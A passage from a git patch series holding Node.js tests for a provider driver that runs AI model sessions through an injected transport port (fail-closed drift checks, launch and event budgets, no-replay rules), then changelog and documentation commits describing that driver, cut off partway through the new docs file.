assert.equal(facade.workspace_mode, 'managed'); + assert.equal(facade.workspace_semantics, 'local_managed_worktree'); + assert.equal(facade.workspace_starting_point, 'run_base_sha'); + assert.ok(Object.isFrozen(facade)); + assertProviderDriverV1(facade.driver); + assert.deepEqual(Object.keys(facade.driver).sort(), ['cancel', 'launch', 'preflight', 'reconcile']); + assert.equal(facade.declaration.schema, DRIVER_DECLARATION_SCHEMA_ID); + assert.equal(facade.declaration.capability.schema, PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID); + assert.equal(facade.declaration.capability.provider, 'dsh'); +}); + +test('the shipped declaration keeps asserting the honest DSH posture', () => { + const facade = createFixtureDriver(MUSE_MODEL, fakeDshTransport()); + const capability = assertCapabilityRequirementV1(facade.declaration, { + artifact_kinds: ['provider_report'], + create_pr_posture: 'prohibited', + dispatch_certainty: 'uncertain_after_spawn', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + replay_posture: 'never_replay', + same_session_reply: 'unsupported_unresolved_attention', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }); + assert.equal(capability.revision, 'p20.dsh-acpx.1'); + assert.deepEqual({ ...facade.features }, { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + }); +}); + +test('the driver passes the accepted provider-neutral P17 conformance suite unmodified', () => { + const facade = createFixtureDriver(OX_MODEL, fakeDshTransport()); + runProviderDriverContractSuiteV1(facade.driver, { + label: 'dsh-acpx-driver', + declaration: facade.declaration, + }); +}); + +test('describe reports bounded vocabularies and only false non-claims', () => { + const description = describeDshApxDriverV1(); + assert.equal(description.transport_mode, 'injected_bounded_one_shot_port'); + assert.deepEqual([...description.models], [...DSH_ALLOWED_MODELS]); + assert.deepEqual([...description.evidence_states], [...DSH_EVIDENCE_STATES]); + assert.deepEqual([...description.event_kinds], [...DSH_EVENT_KINDS]); + assert.deepEqual([...description.cancel_outcomes], [...DSH_CANCEL_OUTCOMES]); + assert.deepEqual([...description.stop_reasons_placeholder ?? []], []); + for (const value of Object.values(description.claims)) assert.equal(value, false); + assert.equal(description.bounds.recorded_events, DSH_MAX_RECORDED_EVENTS); + assert.equal(description.bounds.lanes, DSH_MAX_LANES); + assert.ok(DSH_DETAIL_CODES.length >= 12 && new Set(DSH_DETAIL_CODES).size === DSH_DETAIL_CODES.length); + assert.ok(new Set([...DSH_EVIDENCE_STATES]).size === DSH_EVIDENCE_STATES.length); + assert.ok(new Set([...DSH_STOP_REASONS]).size === DSH_STOP_REASONS.length); + assert.ok(new Set([...DSH_EVENT_KINDS]).size === DSH_EVENT_KINDS.length); +}); + +test('model identity data stays an informational mirror of the supervisor routing', () => { + assert.deepEqual({ ...DSH_MODEL_IDENTITIES[MUSE_MODEL] }, { + config_file: 'dsh-acp.yml', + credential_env: 'MODEL_API_KEY', + credential_file_env: 'CODEX_CO_ENGINEER_MODEL_API_KEY_FILE', + credential_file: 'model-api-key', + }); + assert.deepEqual({ ...DSH_MODEL_IDENTITIES[OX_MODEL] }, { + config_file: 'dsh-acp-ox-alpha.yml', + credential_env: 'OPENROUTER_API_KEY', + credential_file_env: 'CODEX_CO_ENGINEER_OPENROUTER_API_KEY_FILE', + credential_file: 'openrouter-api-key', + }); +}); + +test('preflight is ready on a healthy identity and blocked honestly when the port cannot resolve one', () => { + const healthy = createFixtureDriver(MUSE_MODEL, fakeDshTransport()); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(healthy.driver, fixture); + assert.equal(lane.preflight.disposition, 'ready'); + assert.equal(lane.preflight.detail_code, undefined); + + const unavailableTransport = fakeDshTransport({ throwOnIdentity: () => new Error('probe blew up') }); + const unavailable = createFixtureDriver(MUSE_MODEL, unavailableTransport); + const blockedResult = unavailable.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(blockedResult.disposition, 'blocked'); + assert.equal(blockedResult.detail_code, 'dsh_transport_unavailable'); + assert.match(blockedResult.detail_message, CONTENT_FREE_DETAIL); +}); + +test('a lost identity probe during launch is provably not_sent and may be retried once', () => { + const fixture = dshEnvelope(MUSE_MODEL); + let identityCalls = 0; + const transport = fakeDshTransport({ + identity: () => { + identityCalls += 1; + if (identityCalls >= 2) throw new Error('config probe lost'); + return readyIdentity(); + }, + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + driver.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }); + // The spawn call was never made, so the failure is provably pre-spawn... + const firstLaunch = driver.driver.launch({ + schema: 'codex-co-engineer.driver-launch.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(firstLaunch.disposition, 'not_sent'); + assert.equal(firstLaunch.detail_code, 'transport_prespawn_denied'); + assert.equal(transport.port ? transport.counts().spawn : transport.counts().spawn, 0); +}); + +test('preflight maps identity-unavailability reasons to dedicated blocked codes', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const preflightRequest = () => ({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }); + for (const [identity, code] of [ + [{ ready: false, reason: 'config_unavailable' }, 'dsh_config_unavailable'], + [{ ready: false, reason: 'credential_unavailable' }, 'dsh_credential_unavailable'], + [{ ready: false }, 'dsh_config_unavailable'], + ]) { + const driver = createFixtureDriver(MUSE_MODEL, fakeDshTransport({ identity })); + const result = driver.driver.preflight(preflightRequest()); + assert.equal(result.disposition, 'blocked'); + assert.equal(result.detail_code, code); + assert.match(result.detail_message, CONTENT_FREE_DETAIL); + } + // An own-undefined receipt field is malformed data, not probe loss: it must + // fail closed with its typed code instead of a soft blocked posture. + const malformed = createFixtureDriver(MUSE_MODEL, fakeDshTransport({ + identity: () => ({ ready: false, reason: undefined }), + })); + expectCode(() => malformed.driver.preflight(preflightRequest()), 'own_undefined_denied'); +}); + +test('launch stays dispatch_uncertain after spawn and forwards the exact child payload', () => { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + assert.equal(lane.launch.detail_code, undefined); + const payload = transport.calls.spawn[0]; + assert.equal(payload.envelope_text, fixture.envelope_text); + assert.equal(payload.child_envelope_digest, fixture.child_envelope_digest); + assert.equal(payload.model, MUSE_MODEL); + assert.equal(payload.run_id, fixture.run_id); + assert.equal(payload.assignment_id, fixture.assignment_id); + assert.equal(payload.lane_index, fixture.lane_index); + assert.equal(payload.base_sha, fixture.base_sha); + assert.equal(typeof payload.attempted_at_ms, 'number'); + assert.ok(Number.isSafeInteger(payload.attempted_at_ms)); + assert.equal(Object.isFrozen(payload), true); +}); + +test('the ox-alpha model drives the identical lifecycle without substitution', () => { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(OX_MODEL, transport); + const fixture = dshEnvelope(OX_MODEL); + const lane = dispatchLane(driver.driver, fixture); + assert.equal(lane.preflight.disposition, 'ready'); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + assert.equal(lane.reconcile({ include: ['live_progress'] }).disposition, 'in_progress'); + assert.equal(transport.calls.spawn[0].model, OX_MODEL); +}); + +test('cross-provider envelopes are refused before any transport call happens', () => { + for (const provider of ['grok', 'cursor-local', 'cursor-cloud']) { + const manifest = JSON.parse(JSON.stringify(dshManifest(MUSE_MODEL))); + manifest.assignments[0].execution.provider = provider; + if (provider === 'cursor-cloud') manifest.assignments[0].starting_ref = CLOUD_STARTING_REF; + const envelope = compileChildEnvelopeV1(manifest, 'dsh-lane'); + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const request = { + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }; + expectCode(() => driver.driver.preflight(request), 'provider_slot_mismatch'); + assert.equal(transport.counts().configIdentity, 0, 'no transport probe may run for foreign providers'); + } +}); + +test('non-canonical dsh models are denied; both allowed models are accepted verbatim', () => { + for (const model of ['muse-spark-1.2', 'stealth/ox-alpha-latest', '-', '', 'MUSE-SPARK-1.2-CONTRIBUTOR']) { + const manifest = JSON.parse(JSON.stringify(dshManifest(MUSE_MODEL))); + manifest.assignments[0].execution.model = model; + let envelope; + try { + envelope = compileChildEnvelopeV1(manifest, 'dsh-lane'); + } catch { + continue; // the compiler itself rejects some non-canonical models first + } + const driver = createFixtureDriver(MUSE_MODEL, fakeDshTransport()); + expectCode(() => driver.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }), 'dsh_model_denied', `model ${model} must be denied`); + } + assert.deepEqual([...DSH_ALLOWED_MODELS], [MUSE_MODEL, OX_MODEL]); +}); + +test('reconcile maps recorded evidence onto honest dispositions with content-free details', () => { + const cases = [ + [{ state: 'accepted' }, 'in_progress', 'live_progress'], + [{ state: 'running' }, 'in_progress', 'live_progress'], + [{ state: 'needs_attention', question_ref: `q-${LEAK_MARKER}` }, 'unresolved_attention', 'unresolved_attention'], + [{ state: 'completed', stop_reason: 'end_turn' }, 'terminal', 'terminal_evidence'], + [{ state: 'failed', stop_reason: 'error' }, 'terminal', 'terminal_evidence'], + [{ state: 'cancelled', stop_reason: 'cancelled' }, 'terminal', 'terminal_evidence'], + [{ state: 'absent' }, 'dispatch_uncertain', 'evidence_absent'], + ]; + for (const [receipt, disposition, detailCode] of cases) { + const transport = fakeDshTransport({ polls: [receipt] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + const result = lane.reconcile({ include: ['live_progress'] }); + assert.equal(result.disposition, disposition, `state ${JSON.stringify(receipt.state)}`); + assert.equal(result.detail_code, detailCode); + assert.match(result.detail_message, CONTENT_FREE_DETAIL); + assert.ok(result.detail_message.length <= 512); + assert.ok(!result.detail_message.includes(LEAK_MARKER), 'question/prompt content must never surface'); + } +}); + +test('restart_reattach recovers from recorded evidence and never relaunches anything', () => { + const transport = fakeDshTransport({ polls: [{ state: 'running' }] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + const recovered = lane.reconcile({ intent: 'restart_reattach', include: ['detailed_events'] }); + assert.equal(recovered.disposition, 'in_progress'); + assert.equal(recovered.detail_code, 'live_progress'); + assert.equal(transport.counts().spawn, 1, 'restart recovery must not spawn again'); + + const lost = fakeDshTransport({ polls: [{ state: 'absent' }] }); + const lostDriver = createFixtureDriver(MUSE_MODEL, lost); + const lostLane = dispatchLane(lostDriver.driver, fixture); + const uncertain = lostLane.reconcile({ intent: 'restart_reattach' }); + assert.equal(uncertain.disposition, 'dispatch_uncertain'); + assert.equal(lost.counts().spawn, 1, 'missing evidence never authorizes a relaunch'); +}); + +test('cancellation maps confirmed/requested/already_terminal outcomes with bounded details', () => { + for (const outcome of DSH_CANCEL_OUTCOMES) { + const expectedDisposition = { + confirmed: 'cancel_confirmed', + requested: 'cancel_requested', + already_terminal: 'already_terminal', + }[outcome]; + const transport = fakeDshTransport({ cancelReceipts: [{ outcome }] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + const result = lane.cancel(); + assert.equal(result.disposition, expectedDisposition); + assert.equal(result.detail_code, expectedDisposition); + assert.match(result.detail_message, CONTENT_FREE_DETAIL); + } +}); + +test('duplicate launch after any launch observation fails closed as a replay', () => { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, dshEnvelope(MUSE_MODEL)); + expectCode(() => lane.launchAgain(), 'replay_denied'); + expectCode(() => lane.preflightAgain(), 'invalid_transition'); + assert.equal(transport.counts().spawn, 1); +}); + +test('a provably pre-spawn failure reports not_sent and permits exactly one more attempt', () => { + const prespawnError = Object.assign(new Error('port denied pre-spawn'), { + phase: 'prespawn', code: 'port_denied', + }); + const transport = fakeDshTransport({ throwOnSpawn: () => prespawnError }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + assert.equal(lane.launch.disposition, 'not_sent'); + assert.equal(lane.launch.detail_code, 'transport_prespawn_denied'); + + // One retry is allowed because the prompt provably never went out. + const recovering = fakeDshTransport(); + const recoveringDriver = createFixtureDriver(MUSE_MODEL, recovering); + const recoveredLane = dispatchLane(recoveringDriver.driver, fixture); + assert.equal(recoveredLane.launch.disposition, 'dispatch_uncertain'); + + const twiceFailed = createFixtureDriver(MUSE_MODEL, fakeDshTransport({ throwOnSpawn: () => prespawnError })); + const twiceLane = dispatchLane(twiceFailed.driver, fixture); + twiceLane.launchAgain(); + expectCode(() => twiceLane.launchAgain(), 'launch_budget_exceeded'); +}); + +test('post-spawn exceptions stay dispatch_uncertain forever with no replay or fallback', () => { + const transport = fakeDshTransport({ throwOnSpawn: () => new Error('process died mid-spawn') }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + assert.equal(lane.launch.disposition, 'dispatch_uncertain'); + expectCode(() => lane.launchAgain(), 'replay_denied'); + expectCode(() => lane.preflightAgain(), 'invalid_transition'); + // An intent-only lane has no session handle: observation stays honestly + // uncertain, invents no terminality, and never replays the child to + // recover a handle. + const observed = lane.reconcile({ intent: 'restart_reattach', include: ['detailed_events'] }); + assert.equal(observed.disposition, 'dispatch_uncertain'); + assert.equal(observed.detail_code, 'evidence_absent'); + expectCode(() => lane.cancel(), 'dsh_cancel_unresolved'); + assert.equal(transport.counts().spawn, 1); + assert.equal(transport.counts().poll, 0, 'no poll can run without a session handle'); +}); + +test('identity drift between preflight and later operations fails closed before spawn', () => { + const fixture = dshEnvelope(MUSE_MODEL); + const requestFor = (operation) => ({ + schema: `codex-co-engineer.driver-${operation}.v1`.replace('driver-preflight', 'driver-preflight'), + version: 1, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + }); + + const drifted = fakeDshTransport({ + identity: (callIndex) => (callIndex === 1 + ? readyIdentity() + : readyIdentity({ credential_sha256: 'c'.repeat(64) })), + }); + const driver = createFixtureDriver(MUSE_MODEL, drifted); + driver.driver.preflight(requestFor('preflight')); + expectCode(() => driver.driver.launch(requestFor('launch')), 'dsh_identity_drift'); + assert.equal(drifted.counts().spawn, 0, 'drift must deny before the spawn intent begins'); + + for (const field of ['config_path', 'config_sha256', 'credential_source']) { + const perField = fakeDshTransport({ + identity: (callIndex) => (callIndex === 1 + ? readyIdentity() + : readyIdentity({ [field]: field === 'config_path' + ? '/elsewhere/dsh-acp.yml' + : field === 'config_sha256' ? 'd'.repeat(64) : 'file' })), + }); + const fieldDriver = createFixtureDriver(MUSE_MODEL, perField); + fieldDriver.driver.preflight(requestFor('preflight')); + // Launch re-probes identity immediately before the spawn intent: drift + // fails closed before anything can be sent. + expectCode(() => fieldDriver.driver.launch(requestFor('launch')), 'dsh_identity_drift', field); + assert.equal(perField.counts().spawn, 0, `drift denies before spawn (${field})`); + } + + const gone = fakeDshTransport({ + identity: (callIndex) => (callIndex === 1 ? readyIdentity() : { ready: false, reason: 'credential_unavailable' }), + }); + const goneDriver = createFixtureDriver(MUSE_MODEL, gone); + goneDriver.driver.preflight(requestFor('preflight')); + expectCode(() => goneDriver.driver.launch(requestFor('launch')), 'dsh_identity_unavailable'); + assert.equal(gone.counts().spawn, 0, 'unavailable identity denies before spawn'); +}); + +test('task/session correlation drift in recorded evidence fails closed per field', () => { + const fixture = dshEnvelope(MUSE_MODEL); + for (const field of ['run_id', 'assignment_id', 'lane_index', 'base_sha', 'child_envelope_digest', 'session_ref', 'model']) { + const wrongValue = field === 'lane_index' + ? 5 + : field === 'child_envelope_digest' + ? `${fixture.child_envelope_digest.slice(0, 63)}0` + : field === 'session_ref' + ? 'sess-other-9999' + : `wrong-${field}`; + const corrupted = (request) => ({ + session_ref: field === 'session_ref' ? wrongValue : request.session_ref, + ...request.correlation, + ...(field !== 'session_ref' ? { [field]: wrongValue } : {}), + }); + const transport = fakeDshTransport({ + polls: [(request) => ({ + ...corrupted(request), + state: 'running', event_count: 1, cursor: 1, updated_at_ms: 10, + })], + cancelReceipts: [(request) => ({ ...corrupted(request), outcome: 'confirmed' })], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const lane = dispatchLane(driver.driver, fixture); + expectCode(() => lane.reconcile(), 'dsh_correlation_mismatch', field); + expectCode(() => lane.cancel(), 'dsh_correlation_mismatch', field); + } +}); + +test('event pages are bounded, cursor-monotonic, and stop at the recorded-event budget', () => { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + const first = lane.reconcile({ include: ['detailed_events', 'live_progress'] }); + assert.equal(first.detail_code, 'live_progress'); + assert.equal(transport.calls.events[0].max_records, DSH_MAX_EVENT_PAGE_RECORDS); + + const overbound = fakeDshTransport({ + polls: [{ state: 'running' }], + eventPages: [(request) => ({ + records: Array.from({ length: request.max_records + 1 }, (_, index) => ({ + seq: index + 1, kind: 'status', bytes: 1, + })), + next_cursor: request.max_records + 1, + truncated: true, + })], + }); + const overDriver = createFixtureDriver(MUSE_MODEL, overbound); + const overLane = dispatchLane(overDriver.driver, fixture); + expectCode(() => overLane.reconcile({ include: ['live_progress'] }), 'event_page_overbound'); + + const nonIncreasing = fakeDshTransport({ + polls: [{ state: 'running' }], + eventPages: [(request) => ({ + records: [{ seq: request.cursor, kind: 'status', bytes: 1 }], + next_cursor: request.cursor, + truncated: false, + })], + }); + const nonIncreasingDriver = createFixtureDriver(MUSE_MODEL, nonIncreasing); + const nonIncreasingLane = dispatchLane(nonIncreasingDriver.driver, fixture); + expectCode(() => nonIncreasingLane.reconcile({ include: ['live_progress'] }), 'invalid_format'); + + const missingEvents = fakeDshTransport({ throwOnEvents: () => new Error('evidence dir gone') }); + const missingDriver = createFixtureDriver(MUSE_MODEL, missingEvents); + const missingLane = dispatchLane(missingDriver.driver, fixture); + expectCode(() => missingLane.reconcile({ include: ['detailed_events'] }), 'dsh_events_unavailable'); + // Observing without includes stays possible after the diagnostic failure. + assert.equal(missingLane.reconcile().disposition, 'in_progress'); +}); + +test('the event budget stops page reads once the recorded cap is reached', () => { + let seq = 0; + const transport = fakeDshTransport({ + polls: [{ state: 'running' }], + eventPages: [(request) => ({ + records: Array.from({ length: request.max_records }, () => ({ seq: (seq += 1), kind: 'status', bytes: 8 })), + next_cursor: seq, + truncated: seq >= DSH_MAX_RECORDED_EVENTS, + })], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + let last; + for (let round = 0; round < Math.ceil(DSH_MAX_RECORDED_EVENTS / DSH_MAX_EVENT_PAGE_RECORDS) + 2; round += 1) { + last = lane.reconcile({ include: ['detailed_events'] }); + } + assert.equal(last.detail_message.includes(`events=${DSH_MAX_RECORDED_EVENTS}`), true, last.detail_message); + assert.equal(last.detail_message.includes('truncated=true'), true); + const readsAtBudget = transport.counts().events; + lane.reconcile({ include: ['detailed_events'] }); + assert.equal(transport.counts().events, readsAtBudget, 'no further page reads once the budget is exhausted'); +}); + +test('bounds constants stay inside their advertised ranges', () => { + assert.ok(DSH_MAX_LANES >= 1 && DSH_MAX_LANES <= 1024); + assert.ok(DSH_MAX_LAUNCH_ATTEMPTS >= 1 && DSH_MAX_LAUNCH_ATTEMPTS <= 8); + assert.ok(DSH_MAX_LANE_OPERATIONS >= 16); + assert.ok(DSH_MAX_RECORDED_EVENTS >= DSH_MAX_EVENT_PAGE_RECORDS); + assert.ok(DSH_MAX_EVENT_RECORD_BYTES >= 1 && DSH_MAX_EVENT_RECORD_BYTES <= 65536); + assert.ok(DSH_MAX_CURSOR >= DSH_MAX_RECORDED_EVENTS); + assert.equal(DSH_ACPX_TRANSPORT_KEYS.length, 5); +}); + +test('the lane budget denies the 65th distinct lane while existing lanes keep working', () => { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport); + for (let index = 0; index < DSH_MAX_LANES; index += 1) { + const fixture = dshEnvelope(MUSE_MODEL, `lane-${String(index).padStart(2, '0')}`); + const result = driver.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(result.disposition, 'ready'); + } + const extra = dshEnvelope(MUSE_MODEL, 'lane-overflows'); + expectCode(() => driver.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: extra.envelope_text, child_envelope_digest: extra.child_envelope_digest, + }), 'lane_budget_exceeded'); +}); + +test('the operation budget caps work per lane and clock regressions fail closed', () => { + let now = 10_000; + const transport = fakeDshTransport({ polls: [{ state: 'running' }] }); + const driver = createFixtureDriver(MUSE_MODEL, transport, { now: () => (now += 1) }); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + const remaining = DSH_MAX_LANE_OPERATIONS - 2; + for (let index = 0; index < remaining; index += 1) { + lane.reconcile(); + } + expectCode(() => lane.reconcile(), 'operation_budget_exceeded'); + + let backwardsClock = 20_000; + let dispatchedBackwards = false; + const backwards = createFixtureDriver(MUSE_MODEL, fakeDshTransport(), { + now: () => { + if (!dispatchedBackwards) { + backwardsClock += 1; + return backwardsClock; + } + backwardsClock -= 5_000; + return backwardsClock; + }, + }); + const backFixture = dshEnvelope(MUSE_MODEL, 'clock-lane'); + const backLane = dispatchLane(backwards.driver, backFixture); + dispatchedBackwards = true; + expectCode(() => backLane.reconcile(), 'timing_regression_denied'); +}); + +test('invalid injected clocks fail closed before any transport interaction', () => { + const fixture = dshEnvelope(MUSE_MODEL); + for (const clock of [() => Number.NaN, () => -1, () => 5e12, () => null]) { + const transport = fakeDshTransport(); + const driver = createFixtureDriver(MUSE_MODEL, transport, { now: clock }); + expectCode(() => driver.driver.preflight({ + schema: 'codex-co-engineer.driver-preflight.v1', version: 1, + envelope_text: fixture.envelope_text, child_envelope_digest: fixture.child_envelope_digest, + }), 'invalid_format'); + assert.equal(transport.counts().configIdentity, 0); + } +}); + +test('detail telemetry never carries prompt, question, or event content', () => { + const transport = fakeDshTransport({ + polls: [{ state: 'needs_attention', question_ref: `q-${LEAK_MARKER}-payload` }], + eventPages: [(request) => ({ + records: Array.from({ length: request.max_records }, (_, index) => ({ + seq: index + 1, kind: 'text_delta', bytes: DSH_MAX_EVENT_RECORD_BYTES, + })), + next_cursor: request.max_records, + truncated: true, + })], + }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + for (const operation of ['reconcile', 'cancel']) { + const result = operation === 'reconcile' + ? lane.reconcile({ include: ['detailed_events', 'live_progress'], intent: 'restart_reattach' }) + : lane.cancel(); + const serialized = JSON.stringify(result); + assert.ok(!serialized.includes(LEAK_MARKER), `${operation} leaked content`); + if (result.detail_message !== undefined) { + assert.match(result.detail_message, CONTENT_FREE_DETAIL); + assert.ok(result.detail_message.length <= 512); + } + } +}); + +test('results echo the exact child identity and arrive detached and frozen', () => { + const transport = fakeDshTransport({ polls: [{ state: 'completed', stop_reason: 'end_turn' }] }); + const driver = createFixtureDriver(MUSE_MODEL, transport); + const fixture = dshEnvelope(MUSE_MODEL); + const lane = dispatchLane(driver.driver, fixture); + const seen = [lane.preflight, lane.launch, lane.reconcile({ include: ['live_progress'] }), lane.cancel()]; + for (const result of seen) { + assert.equal(result.run_id, fixture.run_id); + assert.equal(result.assignment_id, fixture.assignment_id); + assert.equal(result.lane_index, fixture.lane_index); + assert.equal(result.base_sha, fixture.base_sha); + assert.equal(result.child_envelope_digest, fixture.child_envelope_digest); + assert.ok(Object.isFrozen(result)); + } +}); + +test('transport validation rejects wrong surfaces and accepts the canonical five', () => { + assertDshAcpTransportV1(fakeDshTransport().port); + for (const [label, port] of Object.entries({ + 'missing op': (() => { const p = fakeDshTransport().port; delete p.poll; return p; })(), + 'extra op': (() => { const p = fakeDshTransport().port; p.heal = () => {}; return p; })(), + 'non-function op': (() => { const p = fakeDshTransport().port; p.poll = 42; return p; })(), + 'proxy op': (() => { const p = fakeDshTransport().port; p.poll = new Proxy(() => {}, {}); return p; })(), + 'proxy record': new Proxy(fakeDshTransport().port, {}), + 'exotic record': (() => class Weird extends Object { })(), + null: null, + array: [], + })) { + assert.throws(() => assertDshAcpTransportV1(port), + (error) => error instanceof RunContractV1Error, + `transport ${label} must be denied`); + } +}); + +test('config identity receipts are validated strictly', () => { + assert.equal(validateDshConfigIdentityV1(readyIdentity(), MUSE_MODEL).ready, true); + assert.deepEqual(validateDshConfigIdentityV1({ ready: false }, MUSE_MODEL), { + ready: false, reason: null, + }); + expectCode(() => validateDshConfigIdentityV1(readyIdentity(), 'claude-3'), 'dsh_model_denied'); + expectCode(() => validateDshConfigIdentityV1(readyIdentity({ config_path: 'relative/path.yml' }), MUSE_MODEL), + 'invalid_format'); + expectCode(() => validateDshConfigIdentityV1(readyIdentity({ config_sha256: 'SHA256' }), MUSE_MODEL), + 'invalid_format'); + expectCode(() => validateDshConfigIdentityV1(readyIdentity({ credential_source: 'keychain' }), MUSE_MODEL), + 'invalid_format'); + expectCode(() => validateDshConfigIdentityV1(readyIdentity({ ready: true, reason: 'config_unavailable' }), MUSE_MODEL), + 'invalid_format'); + expectCode(() => validateDshConfigIdentityV1({ ready: true, config_path: '/x.yml' }, MUSE_MODEL), 'missing_key'); + expectCode(() => validateDshConfigIdentityV1(readyIdentity({ credential_sha256: undefined }), MUSE_MODEL), + 'own_undefined_denied'); +}); From a089b288934b60dc53b54192667b79882a3da06d Mon Sep 17 00:00:00 2001 From: ox-alpha Date: Sat, 22 Aug 2026 20:52:36 +0000 Subject: [PATCH 27/81] docs(changelog): record the P20 DSH ACPX driver slice Document the DSH ACPX provider driver surface: hard Muse/Ox model binding, honest post-spawn uncertainty with no replay or fallback, unsupported same-session reply, bounded recorded-evidence reconcile/restart/cancel behavior, fail-closed identity and correlation drift denials, caps, content-free telemetry, and the exact injected-port contract plus non-claims for later real DSH Muse/Ox ACPX lifecycle conformance. Update future-work: P20 is in-tree as an adapter over an injected port; Grok/Cursor driver transports, registry cutover, scheduler, and durable store remain open. --- CHANGELOG.md | 23 +++++++ docs/dsh-acpx-driver.md | 136 ++++++++++++++++++++++++++++++++++++++++ docs/future-work.md | 12 +++- 3 files changed, 168 insertions(+), 3 deletions(-) create mode 100644 docs/dsh-acpx-driver.md diff --git a/CHANGELOG.md b/CHANGELOG.md index 2bfdbe9..6c76ecd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,29 @@ ### Added +- **Closed P20 DSH ACPX provider driver for Muse Spark 1.2 Contributor and Ox + Alpha.** Additive `DshApxDriverV1` hard-binds provider `dsh` plus exactly the + two allowed DSH models and implements the accepted P17 preflight/launch/ + reconcile/cancel lifecycle against an injected bounded ACPX one-shot + transport port, inheriting every envelope, capability, transition, and denial + rule from the accepted contract with no parallel schema. ACPX provides no + authoritative prompt-sent acknowledgement: after spawn intent the posture + stays `dispatch_uncertain`, post-intent exceptions and loss are never + replayed, retried, or fallback-substituted, and only provably pre-spawn + failures may report `not_sent` under a two-attempt lane budget. Same-session + reply is unsupported: unresolved attention surfaces honestly and no + replacement prompt or session is started. Live progress, detailed events, + cancellation confirmation, and restart recovery read recorded ACPX evidence + through bounded cursor-monotonic pages; exact model/config/credential + identity and task/session correlation fail closed on drift; forged receipts + fail closed while genuine loss degrades to uncertainty. Events, records, + cursors, lanes, attempts, operations, clock readings, and diagnostics are + capped, and detail telemetry is content-free by construction. The module + claims no real-transport qualification, durable P19/P21 store, supervisor + cutover, or merge/PR authority; the exact port surface for later real DSH + Muse/Ox lifecycle conformance is recorded in + `docs/dsh-acpx-driver.md`. Coverage lives in `r1-dsh-acpx-driver` and + `r1-dsh-acpx-driver-adversarial` tests. - **Closed P17 provider-driver envelope and capability contract.** Additive `ProviderDriverV1` owns the preflight/launch/reconcile/cancel lifecycle plus typed results, exact ChildEnvelopeV1 launch proof (text bytes and diff --git a/docs/dsh-acpx-driver.md b/docs/dsh-acpx-driver.md new file mode 100644 index 0000000..6f45836 --- /dev/null +++ b/docs/dsh-acpx-driver.md @@ -0,0 +1,136 @@ +# DSH ACPX provider driver (P20) + +Status: implemented against an injected bounded one-shot transport port. +Not real-transport qualified. + +The P20 `DshApxDriverV1` (`plugins/codex-co-engineer/mcp/v3/dsh-acpx-driver.mjs`) +is the DeepSeek Harness (DSH) adapter over the accepted P17 +`ProviderDriverV1` contract. It owns only the DSH-specific wiring; every +request/result shape, capability posture, transition rule, and denial code is +inherited from the accepted contract. It defines no parallel envelope or +capability schema. + +## Hard binding + +- Provider slot: `dsh` exactly. Every other provider fails closed with + `provider_slot_mismatch`. +- Models: `muse-spark-1.2-contributor` or `stealth/ox-alpha` exactly. Any other + model fails closed with `dsh_model_denied`. The informational identity map + mirrors the shipped supervisor routing (`dsh-acp.yml` + 